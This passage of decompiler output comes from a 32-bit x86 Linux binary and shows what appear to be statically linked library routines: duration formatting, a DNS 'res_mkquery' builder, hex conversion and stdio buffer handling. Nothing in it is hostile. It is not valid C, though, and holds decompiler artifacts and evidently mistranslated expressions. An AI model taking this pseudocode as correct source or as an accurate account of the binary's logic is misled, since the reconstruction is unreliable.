            sprintf(ebx, "%d day%s", esi);
            do {
                ebx = ebx + 1;
            } while(*ebx != 0);
        }
        if(edi != 0) {
            if(esi != 0) {
                *ebx = 32;
                ebx = ebx + 1;
            }
            eax = "s";
            if(edi == 1) {
                eax = 0x8069936;
            }
            (save)eax;
            sprintf(ebx, "%d hour%s", edi);
            do {
                ebx = ebx + 1;
            } while(*ebx != 0);
        }
        if(Vfffffff8 != 0) {
            if(esi != 0 || edi != 0) {
                *ebx = 32;
                ebx = ebx + 1;
            }
            eax = "s";
            if(Vfffffff8 == 1) {
                eax = 0x8069936;
            }
            (save)eax;
            sprintf(ebx, "%d min%s", Vfffffff8);
            do {
                ebx = ebx + 1;
            } while(*ebx != 0);
        }
        if(Vfffffffc != 0 || esi == 0 && edi == 0 && Vfffffff8 == 0) {
            if(esi != 0 || edi != 0 || Vfffffff8 != 0) {
                *ebx = 32;
                ebx = ebx + 1;
            }
            eax = "s";
            if(Vfffffffc == 1) {
                eax = 0x8069936;
            }
            (save)eax;
            sprintf(ebx, "%d sec%s", Vfffffffc);
        }
    }
    esp = ebp - 20;
    return(0x807e428);
}

/*	Procedure: 0x080608C7 - 0x080608C7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L080608C7()
{



}

/*	Procedure: 0x080608C8 - 0x08060AE7
 *	Argument size: 36
 *	Local size: 88
 *	Save regs size: 12
 */

L080608C8(A8, Ac, A10, A14, A18, A1c, A24, A28)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
/* unknown */ void  A18;
/* unknown */ void  A1c;
/* unknown */ void  A24;
/* unknown */ void  A28;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  Vffffffa8;
	/* unknown */ void  Vffffffac;
	/* unknown */ void  Vffffffb0;
	/* unknown */ void  Vffffffb4;



    esi = A28;
    if(!( *L0807854C & 1) && L0804D744() == -1) {
        *L0807E788 = -1;
L080608f4:
        eax = -1;
    } else {
        if(!( *L0807854C & 2)) {
            (save)A14;
            (save)A10;
            (save)Ac;
            L0804F7EC(";; res_mkquery(%d, %s, %d, %d)\n", A8);
        }
        if(A24 == 0 || esi <= 11) {
            goto L080608f4;
        }
        L0806626C(A24, 12);
        Vffffffac = A24;
        *L08078584 = *L08078584 + 1;
        ax = *L08078584;
        asm("xchg al,ah");
        *A24 = ax;
        al = (A8 & 15) << 3;
        *(A24 + 2) = *(A24 + 2) & 135;
        *(A24 + 2) = *(A24 + 2) | al;
        *(A24 + 2) = *(A24 + 2) & 254;
        *(A24 + 2) = *(A24 + 2) | *L0807854C >> 6 & 1;
        *(A24 + 3) = *(A24 + 3) & 240;
        ebx = A24 + 12;
        esi = esi + -12;
        Vffffffb0 = A24;
        Vffffffb4 = 0;
        Vffffffa8 = ebp;
        if(A8 != 1) {
            > ? L080609a0 : ;
            if(A8 != 0 || (esi = esi + -4)) {
                goto L080608f4;
                if(A8 != 4) {
                    goto L080608f4;
                }
            }
            eax = L0804D2A0(Ac, ebx, esi, & Vffffffb0, Vffffffa8);
            if(eax < 0) {
                goto L080608f4;
            }
            ebx = ebx + eax;
            esi = esi - eax;
            L0804D700(A14 & 65535, ebx);
            ebx = ebx + 2;
            L0804D700(A10 & 65535, ebx);
            ebx = ebx + 2;
            *(Vffffffac + 4) = 256;
            if(A8 != 0 && A18 != 0) {
                esi = esi + -10;
                eax = L0804D2A0(A18, ebx, esi, & Vffffffb0, Vffffffa8);
                if(eax < 0) {
                    goto L080608f4;
                }
                ebx = ebx + eax;
                L0804D700(10, ebx);
                ebx = ebx + 2;
                L0804D700(A10 & 65535, ebx);
                ebx = ebx + 2;
                L0804D71C(0, ebx);
                ebx = ebx + 4;
                L0804D700(0, ebx);
                ebx = ebx + 2;
                *(Vffffffac + 10) = 256;
            }
        } else {
            if(esi < A1c + 11) {
                goto L080608f4;
            }
            *ebx = 0;
            ebx = ebx + 1;
            L0804D700(A14 & 65535, ebx);
            ebx = ebx + 2;
            L0804D700(A10 & 65535, ebx);
            ebx = ebx + 2;
            L0804D71C(0, ebx);
            ebx = ebx + 4;
            L0804D700(A1c & 65535, ebx);
            ebx = ebx + 2;
            if(A1c != 0) {
                L08056480(A18, ebx, A1c);
                ebx = ebx + A1c;
            }
            *(Vffffffac + 6) = 256;
        }
        eax = ebx - A24;
    }
    esp = ebp - 100;
}

/*	Procedure: 0x08060AE8 - 0x08060B10
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L08060AE8(A8)
/* unknown */ void  A8;
{



    eax = A8 - 48;
    if(eax <= 9) {
        return(dl + 208 & 255);
    }
    eax = dl + 201 & 255;
    esp = ebp;
}

/*	Procedure: 0x08060B11 - 0x08060BD5
 *	Argument size: 12
 *	Local size: 8
 *	Save regs size: 12
 */

L08060B11(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    ebx = A8;
    edi = Ac;
    esi = 0;
    goto L08060bbf;
L08060b4c:
    eax = 0;
    goto L08060bcc;
L08060bbf:
    while(1) {
        dl = *ebx;
        ebx = ebx + 1;
        if(dl == 0 || A10 <= esi) {
            break;
        }
        if(dl == 46 || dl == 43 || dl == 47) {
            continue;
        }
        if(dl < 0) {
            goto L08060b4c;
        }
        ecx = dl & 255;
        Vfffffff8 = ecx;
        if(!( *( *L08078FA0 + ecx * 2 + 1) & 2)) {
            dl = *( *L08078FA8 + ecx * 4);
        }
        edx = edx & 255;
        if(*( *L08078FA0 + edx * 2 + 1) & 16) {
            goto L08060b4c;
        }
        L08060AE8(edx);
        Vfffffffc = al;
        dl = *ebx;
        ebx = ebx + 1;
        if(dl == 0) {
            goto L08060b4c;
        }
        eax = dl & 255;
        edx = *( *L08078FA8 + eax * 4) & 255;
        if(*( *L08078FA0 + edx * 2 + 1) & 16) {
            goto L08060b4c;
        }
        L08060AE8(edx);
        dl = al;
        *edi = Vfffffffc << 4 | dl;
        edi = edi + 1;
        esi = esi + 1;
    }
    eax = esi;
L08060bcc:
    esp = ebp - 20;
}

/*	Procedure: 0x08060BD6 - 0x08060BD7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08060BD6()
{



}

/*	Procedure: 0x08060BD8 - 0x08060D22
 *	Argument size: 12
 *	Local size: 8
 *	Save regs size: 12
 */

L08060BD8(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    esi = Ac;
    edx = A10;
    if(edx != 0) {
        Vfffffffc = edx;
    } else {
        edx = 0x807e450;
        Vfffffffc = 0x807e450;
    }
    if(A8 > 255) {
        A8 = 255;
    }
    ebx = 0;
    if(A8 > 0) {
        if(!(A8 & 1)) {
            eax = *esi >> 4 & 255;
            ecx = edx;
            edx = edx + 1;
            al = eax <= 9 ? al + 48 : al + 55;
            *ecx = al;
            eax = *esi & 15;
            esi = esi + 1;
            ecx = edx;
            edx = edx + 1;
            al = eax <= 9 ? al + 48 : al + 55;
            *ecx = al;
            if(!(bl & 1)) {
                eax = ebx + 1;
                if(A8 > eax) {
                    *edx = 46;
                    edx = edx + 1;
                }
            }
            ebx = ebx + 1;
            if(A8 <= ebx) {
                goto L08060d13;
            }
        }
        do {
            eax = *esi >> 4 & 255;
            ecx = edx;
            edx = edx + 1;
            al = eax > 9 ? al + 55 : al + 48;
            *ecx = al;
            eax = *esi & 15;
            esi = esi + 1;
            ecx = edx;
            edx = edx + 1;
            al = eax > 9 ? al + 55 : al + 48;
            *ecx = al;
            if(!(bl & 1)) {
                eax = ebx + 1;
                if(A8 > eax) {
                    *edx = 46;
                    edx = edx + 1;
                }
            }
            Vfffffff8 = ebx + 1;
            eax = *esi >> 4 & 255;
            ecx = edx;
            edx = edx + 1;
            al = eax > 9 ? al + 55 : al + 48;
            *ecx = al;
            eax = *esi & 15;
            esi = esi + 1;
            ecx = edx;
            edx = edx + 1;
            al = eax > 9 ? al + 55 : al + 48;
            *ecx = al;
            edi = Vfffffff8;
            if(!(edi & 1)) {
                eax = edi + 1;
                if(A8 > eax) {
                    *edx = 46;
                    edx = edx + 1;
                }
            }
            ebx = ebx + 2;
        } while(A8 > ebx);
    }
L08060d13:
    *edx = 0;
    esp = ebp - 20;
    return(Vfffffffc);
}

/*	Procedure: 0x08060D23 - 0x08060D23
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08060D23()
{



}

/*	Procedure: 0x08060D24 - 0x08060D40
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L08060D24(A8)
/* unknown */ void  A8;
{



    *(A8 + 64) = -1;
    *A8 = *A8 | 9228;
    return(L080617C4(A8));
}

/*	Procedure: 0x08060D41 - 0x08060D43
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08060D41()
{



}

/*	Procedure: 0x08060D44 - 0x08060DD9
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 12
 */

L08060D44(A8)
/* unknown */ void  A8;
{
	/* unknown */ void  esi;
	/* unknown */ void  edi;



    if(*(A8 + 56) < 0) {
        eax = -1;
    } else {
        (save)A8;
        edi = L08061210();
        (save)A8;
        L08062368();
        (save)A8;
        esi = *( *( *(A8 + 80) + 132))();
        (save)0;
        (save)0;
        (save)0;
        (save)A8;
        L08061B6C();
        *(A8 + 12) = 0;
        *(A8 + 4) = 0;
        *(A8 + 8) = 0;
        *(A8 + 20) = 0;
        *(A8 + 16) = 0;
        *(A8 + 24) = 0;
        L08061788(A8);
        *A8 = -72539124;
        *(A8 + 56) = -1;
        *(A8 + 64) = -1;
        eax = esi;
        if(eax == 0) {
            eax = edi;
        }
    }
}

/*	Procedure: 0x08060DDA - 0x08060E1D
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L08060DDA(A8)
/* unknown */ void  A8;
{



    if(*(A8 + 56) >= 0) {
        L08060FA8(A8, *(A8 + 16), *(A8 + 20) - *(A8 + 16));
        if(!( *A8 & 64)) {
            *( *( *(A8 + 80) + 132))(A8);
        }
    }
    return(L08061FC0(A8));
}

/*	Procedure: 0x08060E1E - 0x08060E1F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08060E1E()
{



}

/*	Procedure: 0x08060E20 - 0x08060F0C
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 12
 */

L08060E20(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;



    edx = A10;
    ecx = 0;
    if(*(A8 + 56) < 0) {
        eax = *edx & 255;
        edx = edx + 1;
        if(eax != 114) {
            > ? L08060e4c : ;
            if(eax == 97) {
                goto L08060e74;
            }
            goto L08060e88;
            if(eax == 119) {
                goto L08060e60;
            }
        } else {
            eax = 0;
            ebx = 8;
            goto L08060e98;
L08060e60:
            eax = 1;
            ecx = 576;
            ebx = 4;
            goto L08060e98;
L08060e74:
            eax = 1;
            ecx = 1088;
            ebx = 4100;
            goto L08060e98;
        }
L08060e88:
        *L08078B14 = 22;
    }
L08060e92:
    eax = 0;
    goto L08060f03;
L08060e98:
    if(*edx == 43 || *edx == 98 && *(edx + 1) == 43) {
        eax = 2;
        ebx = ebx & 4096;
    }
    eax = L080572DC(Ac, eax | ecx, 438);
    if(eax < 0) {
        goto L08060e92;
    }
    *(A8 + 56) = eax;
    *A8 = *A8 & -4109 | ebx;
    if(!(bh & 16) && *( *( *(A8 + 80) + 68))(A8, 0, 2, 3) == -1 && *L08078B14 != 29) {
        goto L08060e92;
    }
    L080617C4(A8);
    eax = A8;
L08060f03:
}

/*	Procedure: 0x08060F0D - 0x08060F5C
 *	Argument size: 4
 *	Local size: 4
 *	Save regs size: 4
 */

L08060F0D(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    eax = Ac;
    if(*(A8 + 56) < 0) {
        *(A8 + 56) = eax;
        *A8 = *A8 & -13;
        *A8 = *A8 | 64;
        *(A8 + 64) = -1;
        if(*( *( *(A8 + 80) + 68))(A8, 0, 1, 3) != -1 || *L08078B14 == 29) {
            goto L08060f54;
        }
    }
    eax = 0;
    goto L08060f56;
L08060f54:
    eax = A8;
L08060f56:
}

/*	Procedure: 0x08060F5D - 0x08060FA4
 *	Argument size: 8
 *	Local size: 4
 *	Save regs size: 4
 */

L08060F5D(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    if(L08061E44(A8, Ac, A10) != 0) {
        eax = *(A8 + 28);
        *(A8 + 24) = eax;
        *(A8 + 20) = eax;
        *(A8 + 16) = *(A8 + 20);
        *(A8 + 12) = *(A8 + 28);
        *(A8 + 4) = *(A8 + 28);
        *(A8 + 8) = *(A8 + 28);
        eax = A8;
    } else {
        eax = 0;
    }
}

/*	Procedure: 0x08060FA5 - 0x08060FA7
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L08060FA5()
{



}

/*	Procedure: 0x08060FA8 - 0x0806106A
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 12
 */

L08060FA8(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  edi;



    if(A10 == 0) {
        eax = 0;
    } else {
        if(!( *(A8 + 1) & 16)) {
            *(A8 + 64) = -1;
        } else {
            if(*(A8 + 16) != *(A8 + 8)) {
                eax = *(A8 + 80);
                eax = *( *(eax + 124))(A8, *(A8 + 16) - *(A8 + 8), 1);
                if(eax == -1) {
                    goto L0806105c;
                }
                *(A8 + 64) = eax;
            }
        }
        eax = *(A8 + 80);
        edi = *( *(eax + 116))(A8, Ac, A10);
        if(*(A8 + 68) != 0) {
            L080620C8(( *(A8 + 68) & 65535) - 1, Ac, A10);
            *(A8 + 68) = ax + 1;
        }
        *(A8 + 12) = *(A8 + 28);
        *(A8 + 4) = *(A8 + 28);
        *(A8 + 8) = *(A8 + 28);
        eax = *(A8 + 28);
        *(A8 + 20) = eax;
        *(A8 + 16) = *(A8 + 20);
        eax = !( *A8 & 514) ? *(A8 + 28) : *(A8 + 32);
        *(A8 + 24) = eax;
        eax = 0;
        if(edi != A10) {
L0806105c:
            eax = -1;
        }
    }
}

/*	Procedure: 0x0806106B - 0x08061115
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L0806106B(A8)
/* unknown */ void  A8;
{



    if(!( *A8 & 4)) {
        eax = *(A8 + 4);
        if(*(A8 + 8) > eax) {
            goto L0806110c;
        }
        if(*(A8 + 28) == 0) {
            L08061BB8(A8);
        }
        if(!( *A8 & 514)) {
            L080621D0();
        }
        (save)A8;
        L0806186C();
        edx = *(A8 + 80);
        edx = *( *(edx + 108))(A8, *(A8 + 28), *(A8 + 32) - *(A8 + 28));
        if(edx <= 0) {
            == ? L080610cb : ;
            *A8 = *L08078B14 == 11 ? *A8 | 16 : *A8 | 32;
            edx = 0;
        }
        eax = *(A8 + 28);
        *(A8 + 4) = eax;
        *(A8 + 12) = *(A8 + 4);
        *(A8 + 8) = *(A8 + 28) + edx;
        eax = *(A8 + 28);
        *(A8 + 24) = eax;
        *(A8 + 20) = eax;
        *(A8 + 16) = *(A8 + 20);
        if(edx != 0) {
            goto L08061100;
        }
    }
    eax = -1;
    goto L0806110f;
L08061100:
    if(*(A8 + 64) != -1) {
        *(A8 + 64) = *(A8 + 64) + edx;
    }
    eax = *(A8 + 4);
L0806110c:
    eax = *eax & 255;
L0806110f:
}

/*	Procedure: 0x08061116 - 0x0806120D
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 8
 */

L08061116(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    if(!( *A8 & 8)) {
        if(!( *(A8 + 1) & 8)) {
            if(*(A8 + 16) == 0) {
                L08061BB8(A8);
                *(A8 + 12) = *(A8 + 28);
                *(A8 + 4) = *(A8 + 28);
                *(A8 + 8) = *(A8 + 28);
            }
            if(*(A8 + 32) == *(A8 + 4)) {
                eax = *(A8 + 28);
                *(A8 + 4) = eax;
                *(A8 + 8) = *(A8 + 4);
            }
            eax = *(A8 + 4);
            *(A8 + 20) = eax;
            *(A8 + 16) = *(A8 + 20);
            *(A8 + 24) = *(A8 + 32);
            eax = *(A8 + 8);
            *(A8 + 4) = eax;
            *(A8 + 12) = *(A8 + 4);
            if(!( *A8 & 514)) {
                *(A8 + 24) = *(A8 + 20);
            }
            *A8 = *A8 | 2048;
        }
        if(Ac == -1) {
            eax = L08060FA8(A8, *(A8 + 16), *(A8 + 20) - *(A8 + 16));
            goto L08061205;
        }
        eax = *(A8 + 20);
        if(*(A8 + 32) != eax) {
            goto L080611c6;
        }
        if(L08060FA8(A8, *(A8 + 16), eax - *(A8 + 16)) != -1) {
L080611c6:
            eax = *(A8 + 20);
            edx = Ac;
            *eax = dl;
            *(A8 + 20) = *(A8 + 20) + 1;
            if(!( *A8 & 2) && ( *(A8 + 1) & 2 || Ac != 10) || L08060FA8(A8, *(A8 + 16), *(A8 + 20) - *(A8 + 16)) != -1) {
                goto L08061200;
            }
        }
    }
    eax = -1;
    goto L08061205;
L08061200:
    eax = Ac & 255;
L08061205:
}

/*	Procedure: 0x0806120E - 0x0806120F
 *	Argument size: 0
 *	Local size: 0
 *	Save regs size: 0
 */

L0806120E()
{



}

/*	Procedure: 0x08061210 - 0x08061275
 *	Argument size: 0
 *	Local size: 4
 *	Save regs size: 4
 */

L08061210(A8)
/* unknown */ void  A8;
{



    eax = *(A8 + 20);
    if(*(A8 + 16) < eax && L08060FA8(A8, *(A8 + 16), eax - *(A8 + 16)) != 0) {
        goto L08061256;
    }
    if(!(edx = *(A8 + 4) - *(A8 + 8))) {
        if(*( *( *(A8 + 80) + 124))(A8, edx, 1) != -1) {
            goto L08061260;
        }
        if(*L08078B14 != 29) {
L08061256:
            eax = -1;
            goto L0806126f;
L08061260:
            *(A8 + 8) = *(A8 + 4);
        }
    }
    *(A8 + 64) = -1;
    eax = 0;
L0806126f:
}

/*	Procedure: 0x08061276 - 0x0806148B
 *	Argument size: 16
 *	Local size: 72
 *	Save regs size: 12
 */

L08061276(A8, Ac, A10, A14)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
/* unknown */ void  A14;
{
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vffffffb8;
	/* unknown */ void  Vffffffbc;
	/* unknown */ void  Vffffffc0;
	/* unknown */ void  Vffffffc8;
	/* unknown */ void  Vffffffd4;



    esi = Ac;
    edi = A10;
    if(A14 == 0) {
        edi = 1;
        esi = 0;
    }
    if(*(A8 + 16) >= *(A8 + 20) && *(A8 + 1) & 8) {
        goto L080612b6;
    }
    if(L0806186C(A8) == 0) {
L080612b6:
        if(*(A8 + 28) == 0) {
            L08061BB8(A8);
            eax = *(A8 + 28);
            *(A8 + 20) = eax;
            *(A8 + 16) = *(A8 + 20);
            *(A8 + 24) = *(A8 + 28);
            *(A8 + 12) = *(A8 + 28);
            *(A8 + 4) = *(A8 + 28);
            *(A8 + 8) = *(A8 + 28);
        }
        if(edi != 1) {
            <= ? L0806133e : ;
            if(edi == 2) {
                goto L0806130c;
            }
        } else {
            esi = esi - *(A8 + 8) - *(A8 + 4);
            if(*(A8 + 64) == -1) {
                goto L0806143c;
            }
            esi = esi + *(A8 + 64);
            goto L0806133c;
L0806130c:
            eax = *(A8 + 80);
            if(*( *(eax + 140))(A8, & Vffffffc0) != 0 || (Vffffffc8 & 61440) != 32768) {
                goto L0806143c;
            }
            esi = esi + Vffffffd4;
L0806133c:
            edi = 0;
        }
        if(*(A8 + 64) != -1 && *(A8 + 12) != 0 && !( *(A8 + 1) & 1)) {
            edx = esi - *(A8 + 64);
            eax = *(A8 + 8) - *(A8 + 12);
            if(!(edx = edx + eax) && edx <= eax) {
                *(A8 + 12) = *(A8 + 28);
                *(A8 + 4) = edx + *(A8 + 28);
                0;
                eax = *(A8 + 28);
                *(A8 + 20) = eax;
                *(A8 + 16) = *(A8 + 20);
                *(A8 + 24) = *(A8 + 28);
                eax = esi;
                goto L08061482;
            }
        }
        if(*A8 & 4) {
            goto L0806143c;
        }
        edx = *(A8 + 32) - *(A8 + 28);
        eax = ~edx & esi;
        Vffffffb8 = eax;
        edi = esi - Vffffffb8;
        if(edi > edx) {
            Vffffffb8 = esi;
            edi = 0;
        }
        eax = *(A8 + 80);
        eax = *( *(eax + 124))(A8, Vffffffb8, 0);
        Vffffffbc = eax;
        if(Vffffffbc >= 0) {
            goto L080613d4;
        }
    }
    eax = -1;
    goto L08061482;
L080613d4:
    if(edi == 0) {
        edx = 0;
    } else {
        edx = *(A8 + 80);
        edx = *( *(edx + 108))(A8, *(A8 + 28), *(A8 + 32) - *(A8 + 28));
        if(edx < edi) {
            esi = edi;
            if(edx != -1) {
                esi = esi - edx;
            }
            edi = 1;
            goto L0806143c;
        }
    }
    *(A8 + 12) = *(A8 + 28);
    *(A8 + 4) = edi + *(A8 + 28);
    *(A8 + 8) = *(A8 + 28) + edx;
    eax = *(A8 + 28);
    *(A8 + 20) = eax;
    *(A8 + 16) = *(A8 + 20);
    *(A8 + 24) = *(A8 + 28);
    *(A8 + 64) = edx + Vffffffbc;
    *A8 = *A8 & -17;
    eax = esi;
    goto L08061482;
L0806143c:
    (save)A8;
    L08062368();
    eax = *( *( *(A8 + 80) + 124))(A8, esi, edi);
    Vffffffbc = eax;
    if(Vffffffbc != -1) {
        *A8 = *A8 & -17;
    }
    *(A8 + 64) = Vffffffbc;
    *(A8 + 12) = *(A8 + 28);
    *(A8 + 4) = *(A8 + 28);
    *(A8 + 8) = *(A8 + 28);
    eax = *(A8 + 28);
    *(A8 + 20) = eax;
    *(A8 + 16) = *(A8 + 20);
    *(A8 + 24) = *(A8 + 28);
    eax = Vffffffbc;
L08061482:
    esp = ebp - 84;
}

/*	Procedure: 0x0806148C - 0x080614C1
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 12
 */

L0806148C(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    do {
        eax = L0805730C( *(A8 + 56), Ac, A10);
    } while(eax == -1 && *L08078B14 == 4);
}

/*	Procedure: 0x080614C2 - 0x080614DE
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 0
 */

L080614C2(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{



    return(L08066124( *(A8 + 56), Ac, A10));
}

/*	Procedure: 0x080614DF - 0x080614F8
 *	Argument size: 8
 *	Local size: 0
 *	Save regs size: 0
 */

L080614DF(A8, Ac)
/* unknown */ void  A8;
/* unknown */ void  Ac;
{



    return(L08065D8C(1, *(A8 + 56), Ac));
}

/*	Procedure: 0x080614F9 - 0x0806150E
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L080614F9(A8)
/* unknown */ void  A8;
{



    return(close( *(A8 + 56)));
}

/*	Procedure: 0x0806150F - 0x08061563
 *	Argument size: 12
 *	Local size: 0
 *	Save regs size: 12
 */

L0806150F(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;



    esi = Ac;
    for(ebx = A10; 1; esi = esi + eax) {
        if(ebx <= 0) {
            goto L08061548;
        }
        eax = L080573E8( *(A8 + 56), esi, ebx);
        if(eax == -1) {
            if(*L08078B14 == 4) {
                continue;
            } else {
                break;
            }
        }
        ebx = ebx - eax;
    }
    *A8 = *A8 | 32;
L08061548:
    A10 = A10 - ebx;
    if(*(A8 + 64) >= 0) {
        *(A8 + 64) = *(A8 + 64) + A10;
    }
    return(A10);
}

/*	Procedure: 0x08061564 - 0x08061787
 *	Argument size: 12
 *	Local size: 12
 *	Save regs size: 12
 */

L08061564(A8, Ac, A10)
/* unknown */ void  A8;
/* unknown */ void  Ac;
/* unknown */ void  A10;
{
	/* unknown */ void  ebx;
	/* unknown */ void  esi;
	/* unknown */ void  edi;
	/* unknown */ void  Vfffffff4;
	/* unknown */ void  Vfffffff8;
	/* unknown */ void  Vfffffffc;



    ebx = Ac;
    eax = A10;
    Vfffffffc = eax;
    esi = 0;
    if(Vfffffffc == 0) {
        eax = 0;
        goto L0806177e;
L08061584:
        edi = Vfffffff4 - ebx + 1;
        esi = 1;
    } else {
        edx = A8;
        edi = *(edx + 24) - *(edx + 20);
        if(( *edx & 2560) == 2560) {
            edi = *(edx + 32) - *(edx + 20);
            if(A10 <= edi) {
                eax = A10 + ebx;
                Vfffffff4 = eax;
                if(Vfffffff4 > ebx) {
                    ecx = ebx - Vfffffff4 & 3;
                    if(Vfffffff4 > ebx) {
                        if(ecx == 0) {
                            goto L0806161c;
                        }
                        if(ecx < 3) {
                            if(ecx < 2) {
                                Vfffffff4 = Vfffffff4 - 1;
                                if(*Vfffffff4 == 10) {
                                    goto L08061584;
                                }
                            }
                            Vfffffff4 = Vfffffff4 - 1;
                            if(*Vfffffff4 == 10) {
                                goto L08061584;
                            }
                        }
                    }
                    Vfffffff4 = Vfffffff4 - 1;
                    edx = Vfffffff4;
                    if(*edx == 10) {
                        goto L08061584;
                    }
                    if(edx > ebx) {
L0806161c:
                        do {
                            Vfffffff4 = Vfffffff4 - 1;
                            eax = Vfffffff4;
                            if(*eax == 10) {
                                goto L08061584;
                            }
                            eax = eax - 1;
                            Vfffffff4 = eax;
                            if(*eax == 10) {
                                goto L08061584;
                            }
                            eax = eax - 1;
                            Vfffffff4 = eax;
                            if(*eax == 10) {
                                goto L08061584;
                            }
                            eax = eax - 1;
                            Vfffffff4 = eax;
                            if(*eax == 10) {
                                goto L08061584;
                            }
                        } while(eax > ebx);
                    }
                }
            }
        }
    }
    if(edi != 0) {
        if(Vfffffffc < edi) {
            edi = Vfffffffc;
        }
        if(edi > 20) {
            L0805652C( *(A8 + 20), ebx, edi);
            ebx = ebx + edi;
        } else {
            Vfffffff4 = *(A8 + 20);
            ecx = edi - 1;
            if(ecx >= 0) {
                eax = !ecx & 3;
                Vfffffff8 = eax;
                if(ecx > -1) {
                    if(eax == 0) {
                        goto L080616d8;
                    }
                    if(eax < 3) {
                        if(eax < 2) {
                            dl = *ebx;
                            eax = Vfffffff4;
                            *eax = dl;
                            ebx = ebx + 1;
                            Vfffffff4 = eax + 1;
                            ecx = edi - 2;
                        }
                        dl = *ebx;
                        eax = Vfffffff4;
                        *eax = dl;
                        ebx = ebx + 1;
                        Vfffffff4 = eax + 1;
                        ecx = ecx - 1;
                    }
                }
                dl = *ebx;
                eax = Vfffffff4;
                *eax = dl;
                ebx = ebx + 1;
                Vfffffff4 = eax + 1;
                if(!(ecx = ecx - 1)) {
L080616d8:
                    do {
                        dl = *ebx;
                        eax = Vfffffff4;
                        *eax = dl;
                        *(eax + 1) = *(ebx + 1);
                        *(eax + 2) = *(ebx + 2);
                        *(eax + 3) = *(ebx + 3);
                        ebx = ebx + 4;
                        Vfffffff4 = eax + 4;
                    } while(ecx = ecx + -4);
                }
            }
        }
        *(A8 + 20) = *(A8 + 20) + edi;
        Vfffffffc = Vfffffffc - edi;
    }
    if(!(eax = Vfffffffc + esi) && L08061910(A8, -1) != -1) {
        eax = A8;
        ecx = *(eax + 32) - *(eax + 28);
        if(ecx > 127) {
            eax = Vfffffffc;
            edx = 0;
            esi = ecx / ecx % ecx / ecx;
        } else {
            esi = 0;
        }
        edi = Vfffffffc - esi;
        if(L08060FA8(A8, ebx, edi) != -1) {
            Vfffffffc = esi;
            if(esi != 0) {
                ebx = ebx + edi;
                Vfffffff8 = ebx;
                Vfffffffc = Vfffffffc - L08061C2C(A8, Vfffffff8, esi);
            }
        }
    }
    eax = A10 - Vfffffffc;
L0806177e:
    esp = ebp - 24;
}

/*	Procedure: 0x08061788 - 0x080617C3
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L08061788(A8)
/* unknown */ void  A8;
{



    if(*A8 < 0) {
        edx = 0x80787f8;
        if(*L080787F8 != 0) {
            do {
                if(*edx == A8) {
                    goto L080617a8;
                }
                edx = *edx + 52;
            } while(*edx != 0);
            goto L080617ba;
L080617a8:
            eax = *(A8 + 52);
            *edx = eax;
        }
L080617ba:
        *A8 = *A8 & -129;
    }
}

/*	Procedure: 0x080617C4 - 0x080617E3
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L080617C4(A8)
/* unknown */ void  A8;
{



    if(*A8 >= 0) {
        *A8 = *A8 | 128;
        eax = *L080787F8;
        *(A8 + 52) = eax;
        *L080787F8 = A8;
    }
}

/*	Procedure: 0x080617E4 - 0x0806180B
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L080617E4(A8)
/* unknown */ void  A8;
{



    eax = A8;
    edx = *(eax + 8) - *(eax + 12);
    eax = *(eax + 48);
    do {
        if(*(eax + 8) < edx) {
            edx = *(eax + 8);
        }
        eax = *eax;
    } while(eax != 0);
    return(edx);
}

/*	Procedure: 0x0806180C - 0x08061839
 *	Argument size: 4
 *	Local size: 0
 *	Save regs size: 0
 */

L0806180C(A8)
/* unknown */ void  A8;
{



    *A8 = *A8 & -257;
    ecx = *(A8 + 8);
    *(A8 + 8) = *(A8 + 44);
    *(A8 + 44) = ecx;
    ecx = *(A8 + 12);
    *(A8 + 12) = *(A8 + 36);
